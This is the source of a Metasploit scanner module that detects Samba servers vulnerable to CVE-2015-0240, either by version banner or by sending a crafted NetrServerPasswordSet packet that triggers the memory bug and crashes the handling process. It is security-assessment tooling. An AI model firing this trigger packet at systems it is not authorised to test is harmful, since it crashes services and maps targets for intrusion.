##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary

  # Exploit mixins should be called first
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client
  include Msf::Exploit::Remote::SMB::Client::Authenticated

  # Scanner mixin should be near last
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  # Aliases for common classes
  SIMPLE = Rex::Proto::SMB::SimpleClient
  XCEPT  = Rex::Proto::SMB::Exceptions
  CONST  = Rex::Proto::SMB::Constants

  RPC_NETLOGON_UUID = '12345678-1234-abcd-ef00-01234567cffb'

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
      'Description'    => %q{
        This module checks if a Samba target is vulnerable to an uninitialized variable creds vulnerability.
      },
      'Author'         =>
        [
          'Richard van Eeden', # Original discovery
          'sleepya',           # Public PoC for the explicit check
          'sinn3r'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-0240'],
          ['OSVDB', '118637'],
          ['URL', 'https://www.redhat.com/en/blog/samba-vulnerability-cve-2015-0240'],
          ['URL', 'https://gist.github.com/worawit/33cc5534cb555a0b710b'],
          ['URL', 'https://www.nccgroup.com/en/blog/2015/03/samba-_netr_serverpasswordset-expoitability-analysis/']
        ],
      'DefaultOptions' =>
        {
          'SMBDirect'               => true,
          'SMBPass'                 => '',
          'SMBUser'                 => '',
          'SMBDomain'               => '',
          'DCERPC::fake_bind_multi' => false
        }
    ))

    # This is a good example of passive vs explicit check
    register_options([
      OptBool.new('PASSIVE', [false, 'Try banner checking instead of triggering the bug', false])
    ])

    # It's either 139 or 445. The user should not touch this.
    deregister_options('RPORT')
  end

  def rport
    @smb_port || datastore['RPORT']
  end


  # This method is more explicit, but a major downside is it's very slow.
  # So we leave the passive one as an option.
  # Please also see #maybe_vulnerable?
  def is_vulnerable?(ip)
    begin
      connect
      smb_login
      handle = dcerpc_handle(RPC_NETLOGON_UUID, '1.0','ncacn_np', ["\\netlogon"])
      dcerpc_bind(handle)
    rescue ::Rex::Proto::SMB::Exceptions::LoginError,
      ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      elog(e)
      return false
    rescue Errno::ECONNRESET,
        ::Rex::Proto::SMB::Exceptions::InvalidType,
        ::Rex::Proto::SMB::Exceptions::ReadPacket,
        ::Rex::Proto::SMB::Exceptions::InvalidCommand,
        ::Rex::Proto::SMB::Exceptions::InvalidWordCount,
        ::Rex::Proto::SMB::Exceptions::NoReply => e
      elog(e)
      return false
    rescue ::Exception => e
      elog(e)
      return false
    end

    # NetrServerPasswordSet request packet
    stub =
      [
        0x00,                         # Server handle
        0x01,                         # Max count
        0x00,                         # Offset
        0x01,                         # Actual count
        0x00,                         # Account name
        0x02,                         # Sec Chan Type
        0x0e,                         # Max count
        0x00,                         # Offset
        0x0e                          # Actual count
      ].pack('VVVVvvVVV')

    stub << Rex::Text::to_unicode(ip) # Computer name
    stub << [0x00].pack('v')          # Null byte terminator for the computer name
    stub << '12345678'                # Credential
    stub << [0x0a].pack('V')          # Timestamp
    stub << "\x00" * 16               # Padding

    begin
      dcerpc.call(0x06, stub)
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      elog(e)
    rescue Errno::ECONNRESET,
        ::Rex::Proto::SMB::Exceptions::InvalidType,
        ::Rex::Proto::SMB::Exceptions::ReadPacket,
        ::Rex::Proto::SMB::Exceptions::InvalidCommand,
        ::Rex::Proto::SMB::Exceptions::InvalidWordCount,
        ::Rex::Proto::SMB::Exceptions::NoReply => e
      elog(e)
    rescue ::Exception => e
      if e.to_s =~ /execution expired/i
        # So what happens here is that when you trigger the buggy code path, you hit this:
        #   Program received signal SIGSEGV, Segmentation fault.
        #   0xb732ab3b in talloc_chunk_from_ptr (ptr=0xc) at ../lib/talloc/talloc.c:370
        #   370   if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) {
        # In the Samba log, you'll see this as an "internal error" and there will be a "panic action".
        # And then Samba will basically not talk back to you at that point. In that case,
        # you will either lose the connection, or timeout, or whatever... depending on the SMB
        # API you're using. In our case (Metasploit), it's "execution expired."
        # Samba (daemon) will stay alive, so it's all good.
        return true
      else
        raise e
      end
    end

    false
  ensure
    disconnect
  end


  # Returns the Samba version
  def get_samba_info
    res = ''
    begin
      res = smb_fingerprint
    rescue ::Rex::Proto::SMB::Exceptions::LoginError,
      ::Rex::Proto::SMB::Exceptions::ErrorCode
      return res
    rescue Errno::ECONNRESET,
        ::Rex::Proto::SMB::Exceptions::InvalidType,
        ::Rex::Proto::SMB::Exceptions::ReadPacket,
        ::Rex::Proto::SMB::Exceptions::InvalidCommand,
        ::Rex::Proto::SMB::Exceptions::InvalidWordCount,
        ::Rex::Proto::SMB::Exceptions::NoReply
      return res
    rescue ::Exception => e
      if e.to_s =~ /execution expired/
        return res
      else
        raise e
      end
    ensure
      disconnect
    end

    res['native_lm'].to_s
  end


  # Converts a version string into an object so we can eval it
  def version(v)
    Rex::Version.new(v)
  end


  # Passive check for the uninitialized bug. The information is based on http://cve.mitre.org/
  def maybe_vulnerable?(samba_version)
    v = samba_version.scan(/Samba (\d+\.\d+\.\d+)/).flatten[0] || ''
    return false if v.empty?
    found_version = version(v)

    if found_version >= version('3.5.0') && found_version <= version('3.5.9')
      return true
    elsif found_version >= version('3.6.0') && found_version < version('3.6.25')
      return true
    elsif found_version >= version('4.0.0') && found_version < version('4.0.25')
      return true
    elsif found_version >= version('4.1.0') && found_version < version('4.1.17')
      return true
    end

    false
  end


  # Check command
  def check_host(ip)
    samba_info = ''
    smb_ports = [445, 139]
    smb_ports.each do |port|
      @smb_port = port
      samba_info = get_samba_info
      vprint_status("Samba version: #{samba_info}")

      if samba_info !~ /^samba/i
        vprint_status("Target isn't Samba, no check will run.")
        return Exploit::CheckCode::Safe
      end

      if datastore['PASSIVE']
        if maybe_vulnerable?(samba_info)
          flag_vuln_host(ip, samba_info)
          return Exploit::CheckCode::Appears
        end
      else
        # Explicit: Actually triggers the bug
        if is_vulnerable?(ip)
          flag_vuln_host(ip, samba_info)
          return Exploit::CheckCode::Vulnerable
        end
      end
    end

    return Exploit::CheckCode::Detected if samba_info =~ /^samba/i

    Exploit::CheckCode::Safe
  end


  # Reports to the database about a possible vulnerable host
  def flag_vuln_host(ip, samba_version)
    report_vuln(
      :host  => ip,
      :port  => rport,
      :proto => 'tcp',
      :name  => self.name,
      :info  => samba_version,
      :refs  => self.references
    )
  end


  def run_host(ip)
    peer = "#{ip}:#{rport}"
    case check_host(ip)
    when Exploit::CheckCode::Vulnerable
      print_good("The target is vulnerable to CVE-2015-0240.")
    when Exploit::CheckCode::Appears
      print_good("The target appears to be vulnerable to CVE-2015-0240.")
    when Exploit::CheckCode::Detected
      print_status("The target appears to be running Samba.")
    else
      print_status("The target appears to be safe")
    end
  end
end

